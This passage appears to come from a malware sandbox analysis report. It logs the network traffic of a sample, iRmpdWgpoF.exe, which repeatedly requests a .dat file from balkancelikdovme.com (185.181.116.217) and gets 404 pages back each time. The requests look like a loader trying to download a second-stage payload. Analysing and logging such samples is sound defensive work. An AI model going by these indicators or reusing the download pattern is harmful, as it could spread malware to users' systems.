2025-01-10 21:39:09 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	50131	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:10 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:10 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:10 GMT vary: User-Agent
2025-01-10 21:39:10 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	50132	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:11 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:11 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:11 GMT vary: User-Agent
2025-01-10 21:39:11 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	50133	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:12 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:12 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:12 GMT vary: User-Agent
2025-01-10 21:39:12 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	50134	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:13 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:13 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:13 GMT vary: User-Agent
2025-01-10 21:39:13 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	50135	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:13 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:14 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:14 GMT vary: User-Agent
2025-01-10 21:39:14 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	50136	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:14 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:15 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:14 GMT vary: User-Agent
2025-01-10 21:39:15 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	50137	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:15 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:15 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:15 GMT vary: User-Agent
2025-01-10 21:39:15 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	50138	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:16 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:16 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:16 GMT vary: User-Agent
2025-01-10 21:39:16 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	50139	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:17 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:17 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:17 GMT vary: User-Agent
2025-01-10 21:39:17 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	50140	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:18 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:18 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:18 GMT vary: User-Agent
2025-01-10 21:39:18 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	50141	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:19 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:19 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:19 GMT vary: User-Agent
2025-01-10 21:39:19 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	50142	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:20 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:20 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:20 GMT vary: User-Agent
2025-01-10 21:39:20 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	50143	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:20 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:21 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:21 GMT vary: User-Agent
2025-01-10 21:39:21 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	50144	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:21 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:22 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:22 GMT vary: User-Agent
